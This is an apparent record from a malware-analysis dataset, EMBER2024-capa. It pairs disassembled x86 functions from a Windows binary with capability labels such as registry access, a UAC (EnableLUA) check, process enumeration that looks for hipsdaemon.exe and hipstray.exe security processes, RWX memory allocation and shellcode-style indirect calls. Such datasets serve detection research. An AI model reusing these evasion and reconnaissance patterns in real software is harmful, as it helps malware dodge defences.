joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4408e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x454
mov eax, dword [0x46e140]
xor eax, ebp
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x454], ecx
call fcn.00403fb0
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x2c]
call fcn.00443740
mov eax, dword [ebp - 0x454]
push eax
lea ecx, [ebp - 0x18]
call fcn.00440bd0
lea ecx, [ebp - 0x438]
call fcn.00443740
push 0x400
mov ecx, dword [ebp + 8]
push ecx
call fcn.004402e0
add esp, 8
mov dword [ebp - 8], eax
push 2
push 0
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x44095e
call fcn.004043c0
mov dword [ebp - 0x444], eax
jmp 0x440ab3
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 0
jne 0x44098f
call fcn.004043c0
mov dword [ebp - 0x444], eax
jmp 0x440ab3
mov eax, dword [ebp - 0x440]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x448], eax
cmp dword [ebp - 0x448], 0
jne 0x4409bf
call fcn.004043c0
mov dword [ebp - 0x444], eax
jmp 0x440ab3
mov edx, dword [ebp - 0x440]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x448]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x1c]
add edx, 1
cmp edx, dword [ebp - 0x1c]
jae 0x440a0f
mov dword [ebp - 0x44c], 0x8007000e
lea ecx, [ebp - 0x438]
call fcn.004436c0
lea ecx, [ebp - 0x2c]
call fcn.00443360
mov eax, dword [ebp - 0x44c]
jmp 0x440ae8
mov eax, dword [ebp - 0x1c]
add eax, 1
push eax
lea ecx, [ebp - 0x438]
call fcn.004436e0
lea ecx, [ebp - 0x438]
call fcn.00430960
test eax, eax
jne 0x440a3c
mov dword [ebp - 0x444], 0x8007000e
jmp 0x440ab3
mov ecx, dword [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x438]
call fcn.00430960
push eax
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0xc]
push eax
push 0
call fcn.00403fb0
push eax
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x43c], eax
cmp dword [ebp - 0x43c], 0
jne 0x440a7e
call fcn.004043c0
mov dword [ebp - 0x444], eax
jmp 0x440ab3
lea ecx, [ebp - 0x438]
call fcn.00430960
xor ecx, ecx
mov edx, dword [ebp - 0x43c]
mov word [eax + edx*2], cx
mov eax, dword [ebp + 0x14]
push eax
lea ecx, [ebp - 0x438]
call fcn.00430960
push eax
lea ecx, [ebp - 0x18]
call fcn.00440c00
mov dword [ebp - 0x444], eax
cmp dword [ebp - 0x10], 0
je 0x440ac3
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, dword [ebp - 0x444]
mov dword [ebp - 0x450], edx
lea ecx, [ebp - 0x438]
call fcn.004436c0
lea ecx, [ebp - 0x2c]
call fcn.00443360
mov eax, dword [ebp - 0x450]
mov ecx, dword [ebp - 0x30]
xor ecx, ebp
call fcn.00446cea
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4423b0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x46e140]
xor eax, ebp
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x230], ecx
lea ecx, [ebp - 0x14]
call fcn.0043e5e0
mov eax, dword [ebp - 0x230]
mov ecx, dword [eax + 4]
or ecx, 0x2001f
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x230]
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x14]
call fcn.00442350
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x44241b
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x224], edx
lea ecx, [ebp - 0x14]
call fcn.004421b0
mov eax, dword [ebp - 0x224]
jmp 0x4424ac
mov dword [ebp - 4], 0x100
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x220]
push edx
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x442481
lea ecx, [ebp - 0x220]
push ecx
lea ecx, [ebp - 0x14]
call fcn.004423b0
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x442478
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x228], edx
lea ecx, [ebp - 0x14]
call fcn.004421b0
mov eax, dword [ebp - 0x228]
jmp 0x4424ac
mov dword [ebp - 4], 0x100
jmp 0x442422
lea ecx, [ebp - 0x14]
call fcn.00442290
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x230]
call fcn.00442230
mov dword [ebp - 0x22c], eax
lea ecx, [ebp - 0x14]
call fcn.004421b0
mov eax, dword [ebp - 0x22c]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.00446cea
mov esp, ebp
pop ebp
ret 4
Function at 0x442a10
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], ecx
xor eax, eax
jne 0x442a19
xor ecx, ecx
jne 0x442a19
xor edx, edx
cmp dword [ebp + 0xc], 0
setne dl
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0
jne 0x442a3a
mov eax, 0xd
jmp 0x442a95
xor eax, eax
jne 0x442a21
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 1
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax*2]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2]
mov dword [ebp - 4], edx
cmp dword [ebp - 0xc], 1
jne 0x442a4b
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 7
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esp, ebp
pop ebp
ret 8

Function at 0x4439f0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x13c
mov eax, dword [0x46e140]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x120], 0
push 0x110
push 0
lea eax, [ebp - 0x11c]
push eax
call fcn.00446c70
add esp, 0xc
lea ecx, [ebp - 0x128]
call fcn.0043e5e0
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x120], 0x114
lea ecx, [ebp - 0x120]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x443a73
mov dword [ebp - 0x130], 0
lea ecx, [ebp - 0x128]
call fcn.004421b0
mov eax, dword [ebp - 0x130]
jmp 0x443b0e
cmp dword [ebp - 0x11c], 5
ja 0x443a99
mov dword [ebp - 0x134], 0
lea ecx, [ebp - 0x128]
call fcn.004421b0
mov eax, dword [ebp - 0x134]
jmp 0x443b0e
push 0x20119
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem_
push reloc.WS2_32.dll_bind
lea ecx, [ebp - 0x128]
call fcn.00442350
test eax, eax
je 0x443ad4
mov dword [ebp - 0x138], 0
lea ecx, [ebp - 0x128]
call fcn.004421b0
mov eax, dword [ebp - 0x138]
jmp 0x443b0e
lea edx, [ebp - 0x12c]
push edx
push str.EnableLUA
lea ecx, [ebp - 0x128]
call fcn.00445380
xor eax, eax
cmp eax, dword [ebp - 0x12c]
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x13c], ecx
lea ecx, [ebp - 0x128]
call fcn.004421b0
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00446cea
mov esp, ebp
pop ebp
ret
Function at 0x443b20
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a8
mov eax, dword [0x46e140]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x238], 0x22c
push 0x228
push 0
lea eax, [ebp - 0x234]
push eax
call fcn.00446c70
add esp, 0xc
mov dword [ebp - 0x2a8], 0x7e3b90a6
mov dword [ebp - 0x2a4], 0x6fcb9ae
mov dword [ebp - 0x2a0], 0xfa3495da
mov dword [ebp - 0x29c], 0x80d250c6
mov dword [ebp - 0x298], 0x4005342
mov dword [ebp - 0x294], 0x3c8d4b64
mov dword [ebp - 0x290], 0x3dfa25
mov dword [ebp - 0x28c], 0x11c176b2
mov dword [ebp - 0x284], 0x2d52c6e9
mov dword [ebp - 0x280], 0x2cc2dfab
mov dword [ebp - 0x27c], 0xaab2752d
mov dword [ebp - 0x278], 0xe69b8b8c
mov dword [ebp - 0x274], 0x26b865f6
mov dword [ebp - 0x270], 0x7096d19
mov dword [ebp - 0x26c], 0x89472844
mov dword [ebp - 0x268], 0x2d6e83a9
mov dword [ebp - 0x264], 0x2659c013
mov dword [ebp - 0x260], 0x4274e579
mov dword [ebp - 0x25c], 0xe46ce85e
mov dword [ebp - 0x258], 0x192cb297
mov dword [ebp - 0x254], 0xf8e3d3ec
mov dword [ebp - 0x250], 0xc738f4e9
mov dword [ebp - 0x24c], 0xa41b26a0
mov dword [ebp - 0x248], connect
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0xffffffff
jne 0x443c70
mov eax, dword [ebp - 0x288]
jmp 0x443dad
lea ecx, [ebp - 0x238]
push ecx
mov edx, dword [ebp - 0x244]
push edx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x443c8c
jmp 0x443d9a
lea eax, [ebp - 0x214]
push eax
call fcn.0044cec5
add esp, 4
lea ecx, [ebp - 0x214]
push ecx
call fcn.0044808a
add esp, 4
shl eax, 1
push eax
lea edx, [ebp - 0x214]
push edx
push 0
call fcn.0042fca0
add esp, 0xc
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x23c], 0
jmp 0x443cdf
mov eax, dword [ebp - 0x23c]
add eax, 1
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 8
jae 0x443d1a
mov ecx, dword [ebp - 0x23c]
mov edx, dword [ebp + ecx*4 - 0x2a8]
cmp edx, dword [ebp - 0x240]
jne 0x443d18
mov eax, 1
mov ecx, dword [ebp - 0x23c]
shl eax, cl
or eax, dword [ebp - 0x288]
mov dword [ebp - 0x288], eax
jmp 0x443d1a
jmp 0x443cd0
mov ecx, dword [ebp - 0x248]
and ecx, dword [ebp - 0x288]
jne 0x443d77
mov dword [ebp - 0x23c], 0
jmp 0x443d43
mov edx, dword [ebp - 0x23c]
add edx, 1
mov dword [ebp - 0x23c], edx
cmp dword [ebp - 0x23c], 0xf
jae 0x443d77
mov eax, dword [ebp - 0x23c]
mov ecx, dword [ebp + eax*4 - 0x284]
cmp ecx, dword [ebp - 0x240]
jne 0x443d75
mov edx, dword [ebp - 0x288]
or edx, dword [ebp - 0x248]
mov dword [ebp - 0x288], edx
jmp 0x443d77
jmp 0x443d34
lea eax, [ebp - 0x238]
push eax
mov ecx, dword [ebp - 0x244]
push ecx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x443c8c
xor edx, edx
jne 0x443c70
mov eax, dword [ebp - 0x244]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x288]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00446cea
mov esp, ebp
pop ebp
ret
Function at 0x443dc0
Capabilities:
Check os version
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov eax, dword [0x46e140]
xor eax, ebp
mov dword [ebp - 0x30], eax
push 0x24
push 0
lea eax, [ebp - 0x2c]
push eax
call fcn.00446c70
add esp, 0xc
push 0x11c
push 0
lea ecx, [ebp - 0x150]
push ecx
call fcn.00446c70
add esp, 0xc
mov dword [ebp - 0x150], 0x11c
lea edx, [ebp - 0x150]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x443e30
mov dword [ebp - 0x150], 0x114
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [ebp - 0x154], 0
movzx ecx, word [ebp - 0x3c]
mov dword [ebp - 8], ecx
lea edx, [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 1
je 0x443fd5
cmp dword [ebp - 0x158], 2
je 0x443e72
jmp 0x444029
cmp dword [ebp - 0x14c], 6
jne 0x443ea3
cmp dword [ebp - 0x148], 3
jne 0x443ea3
movzx ecx, byte [ebp - 0x36]
cmp ecx, 1
jne 0x443e99
mov dword [ebp - 0x154], 0xf
jmp 0x443ea3
mov dword [ebp - 0x154], 0x10
cmp dword [ebp - 0x14c], 6
jne 0x443ed4
cmp dword [ebp - 0x148], 2
jne 0x443ed4
movzx edx, byte [ebp - 0x36]
cmp edx, 1
jne 0x443eca
mov dword [ebp - 0x154], 0xd
jmp 0x443ed4
mov dword [ebp - 0x154], 0xe
cmp dword [ebp - 0x14c], 6
jne 0x443f05
cmp dword [ebp - 0x148], 1
jne 0x443f05
movzx eax, byte [ebp - 0x36]
cmp eax, 1
jne 0x443efb
mov dword [ebp - 0x154], 0xb
jmp 0x443f05
mov dword [ebp - 0x154], 0xc
cmp dword [ebp - 0x14c], 6
jne 0x443f36
cmp dword [ebp - 0x148], 0
jne 0x443f36
movzx ecx, byte [ebp - 0x36]
cmp ecx, 1
jne 0x443f2c
mov dword [ebp - 0x154], 9
jmp 0x443f36
mov dword [ebp - 0x154], 0xa
cmp dword [ebp - 0x14c], 5
jne 0x443f88
cmp dword [ebp - 0x148], 2
jne 0x443f88
push 0x59
call dword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x443f60
mov dword [ebp - 0x154], 8
jmp 0x443f88
movzx edx, byte [ebp - 0x36]
cmp edx, 1
jne 0x443f7e
movzx eax, word [ebp - 0x2c]
cmp eax, 9
jne 0x443f7e
mov dword [ebp - 0x154], 6
jmp 0x443f88
mov dword [ebp - 0x154], 7
cmp dword [ebp - 0x14c], 5
jne 0x443fa4
cmp dword [ebp - 0x148], 1
jne 0x443fa4
mov dword [ebp - 0x154], 6
cmp dword [ebp - 0x14c], 5
jne 0x443fc0
cmp dword [ebp - 0x148], 0
jne 0x443fc0
mov dword [ebp - 0x154], 5
cmp dword [ebp - 0x14c], 4
ja 0x443fd3
mov dword [ebp - 0x154], 4
jmp 0x444029
cmp dword [ebp - 0x14c], 4
jne 0x443ff1
cmp dword [ebp - 0x148], 0
jne 0x443ff1
mov dword [ebp - 0x154], 1
cmp dword [ebp - 0x14c], 4
jne 0x44400d
cmp dword [ebp - 0x148], 0xa
jne 0x44400d
mov dword [ebp - 0x154], 2
cmp dword [ebp - 0x14c], 4
jne 0x444029
cmp dword [ebp - 0x148], 0x5a
jne 0x444029
mov dword [ebp - 0x154], 3
mov eax, dword [ebp - 8]
shl eax, 0x10
or eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x30]
xor ecx, ebp
call fcn.00446cea
mov esp, ebp
pop ebp
ret
Function at 0x444050
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0x24], 0
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor eax, eax
cmp dword [ebp - 0xc], 0x21d8
sete al
mov esp, ebp
pop ebp
ret

Function at 0x444290
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
push 0
push 0
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x40]
push ecx
push 0x4440a0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x4442e8
push 0x7530
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x4442de
push 0
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x4444f0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [0x46e140]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x24c], ecx
mov dword [ebp - 0x238], 0x22c
push 0x228
push 0
lea eax, [ebp - 0x234]
push eax
call fcn.00446c70
add esp, 0xc
lea ecx, [ebp - 0x240]
call fcn.00404470
mov dword [ebp - 0x248], 0
mov ecx, dword [ebp - 0x248]
mov dword [ebp - 0x244], ecx
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0xffffffff
jne 0x444572
lea ecx, [ebp - 0x240]
call fcn.00404490
jmp 0x444675
lea edx, [ebp - 0x238]
push edx
mov eax, dword [ebp - 0x23c]
push eax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x44458e
jmp 0x444610
lea ecx, [ebp - 0x214]
push ecx
lea ecx, [ebp - 0x240]
call fcn.004044b0
cmp dword [ebp - 0x244], 0
jne 0x4445c9
mov edx, dword [str.hipsdaemon.exe]
push edx
lea ecx, [ebp - 0x240]
call fcn.00444e80
test eax, eax
jne 0x4445c9
mov dword [ebp - 0x244], 1
cmp dword [ebp - 0x248], 0
jne 0x4445f1
mov eax, dword [str.hipstray.exe]
push eax
lea ecx, [ebp - 0x240]
call fcn.00444e80
test eax, eax
jne 0x4445f1
mov dword [ebp - 0x248], 1
lea ecx, [ebp - 0x238]
push ecx
mov edx, dword [ebp - 0x23c]
push edx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x44458e
xor eax, eax
jne 0x444572
cmp dword [ebp - 0x244], 0
jne 0x444631
cmp dword [ebp - 0x248], 0
jne 0x444631
mov ecx, dword [ebp - 0x24c]
mov dword [ecx + 0x40], 0xe
jmp 0x44465d
cmp dword [ebp - 0x244], 0
jne 0x444647
mov edx, dword [ebp - 0x24c]
mov dword [edx + 0x40], 0xd
cmp dword [ebp - 0x248], 0
jne 0x44465d
mov eax, dword [ebp - 0x24c]
mov dword [eax + 0x40], 0xc
mov ecx, dword [ebp - 0x23c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x240]
call fcn.00404490
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00446cea
mov esp, ebp
pop ebp
ret
Function at 0x444c30
Capabilities:
Check if file exists
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.004474b0
mov eax, dword [0x46e140]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x1010], ecx
xor eax, eax
mov word [ebp - 0x808], ax
push 0x7fe
push 0
lea ecx, [ebp - 0x806]
push ecx
call fcn.00446c70
add esp, 0xc
xor edx, edx
mov word [ebp - 0x1008], dx
push 0x7fe
push 0
lea eax, [ebp - 0x1006]
push eax
call fcn.00446c70
add esp, 0xc
lea ecx, [ebp - 0x808]
push ecx
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x444ca8
xor eax, eax
jmp 0x444d5b
lea edx, [ebp - 0x1008]
push edx
push 0
push 0
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x444ccb
xor eax, eax
jmp 0x444d5b
xor ecx, ecx
mov word [ebp - 0x80a], cx
lea edx, [ebp - 0x1008]
push edx
mov ecx, dword [ebp - 0x1010]
add ecx, 0x3c
call fcn.004044b0
push 0x2e
mov ecx, dword [ebp - 0x1010]
add ecx, 0x3c
call fcn.00444ee0
mov dword [ebp - 0x100c], eax
mov eax, dword [ebp - 0x100c]
push eax
mov ecx, dword [ebp - 0x1010]
add ecx, 0x3c
call fcn.00444f70
push str..dat
mov ecx, dword [ebp - 0x1010]
add ecx, 0x3c
call fcn.00444e60
mov ecx, dword [ebp - 0x1010]
add ecx, 0x3c
call fcn.00430960
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x444c8b
mov ecx, dword [ebp - 0x1010]
add ecx, 0x3c
push ecx
mov ecx, dword [ebp + 8]
call fcn.00444e40
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00446cea
mov esp, ebp
pop ebp
ret 4

Function at 0x4453e0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
xor eax, eax
jne 0x4453e9
xor ecx, ecx
jne 0x4453e9
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
shl eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0x10]
mov dword [ecx], 0
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 4]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x445430
mov eax, dword [ebp - 0xc]
jmp 0x44548d
cmp dword [ebp - 4], 1
je 0x445443
cmp dword [ebp - 4], 2
je 0x445443
mov eax, 0xd
jmp 0x44548d
cmp dword [ebp + 0xc], 0
je 0x445481
cmp dword [ebp - 8], 0
je 0x445479
mov eax, dword [ebp - 8]
xor edx, edx
mov ecx, 2
div ecx
test edx, edx
jne 0x445470
mov edx, dword [ebp - 8]
shr edx, 1
mov eax, dword [ebp + 0xc]
movzx ecx, word [eax + edx*2 - 2]
test ecx, ecx
je 0x445477
mov eax, 0xd
jmp 0x44548d
jmp 0x445481
xor edx, edx
mov eax, dword [ebp + 0xc]
mov word [eax], dx
mov ecx, dword [ebp - 8]
shr ecx, 1
mov edx, dword [ebp + 0x10]
mov dword [edx], ecx
xor eax, eax
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4465ef
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x46f8f4], 0
push esi
jne 0x446562
call fcn.00446488
test eax, eax
je 0x4465a5
mov eax, dword [0x46f8f4]
cmp eax, 1
jne 0x446583
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x4465a5
pop esi
ret
push eax
call dword [0x46f8fc]
test eax, eax
jne 0x4465ed
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x4465a9
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x46f8f4]
call dword [0x46f8fc]
mov edi, eax
test edi, edi
je 0x4465ce
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4465ea
mov edi, esi
add esi, 0xff0
push edi
push dword [0x46f8f4]
call dword [0x46f8f8]
add edi, 0x10
cmp edi, esi
jb 0x4465d6
mov eax, edi
pop edi
pop esi
ret
jmp 0x44654f

Function at 0x446cea
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x46e140]
jne 0x446cf4
repz ret
jmp fcn.0044d8e0
Function at 0x45b2d5
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0044e460
and dword [ebp - 4], 0
cmp dword [0x470434], 0
mov ebx, eax
jne 0x45b386
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x45b437
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x45b437
push eax
call fcn.0044e3ee
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x470434], eax
call esi
push eax
call fcn.0044e3ee
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x470438], eax
call esi
push eax
call fcn.0044e3ee
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x47043c], eax
call esi
push eax
call fcn.0044e3ee
pop ecx
mov dword [0x470444], eax
test eax, eax
je 0x45b386
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0044e3ee
pop ecx
mov dword [0x470440], eax
mov eax, dword [0x470440]
cmp eax, ebx
je 0x45b3de
cmp dword [0x470444], ebx
je 0x45b3de
push eax
call fcn.0044e469
push dword [0x470444]
mov esi, eax
call fcn.0044e469
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x45b3de
test edi, edi
je 0x45b3de
call esi
test eax, eax
je 0x45b3d5
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x45b3d5
test byte [ebp - 0xc], 1
jne 0x45b3de
or dword [ebp + 0x10], 0x200000
jmp 0x45b417
mov eax, dword [0x470438]
cmp eax, ebx
je 0x45b417
push eax
call fcn.0044e469
pop ecx
test eax, eax
je 0x45b417
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x45b417
mov eax, dword [0x47043c]
cmp eax, ebx
je 0x45b417
push eax
call fcn.0044e469
pop ecx
test eax, eax
je 0x45b417
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x470434]
call fcn.0044e469
pop ecx
test eax, eax
je 0x45b437
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x45b439
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret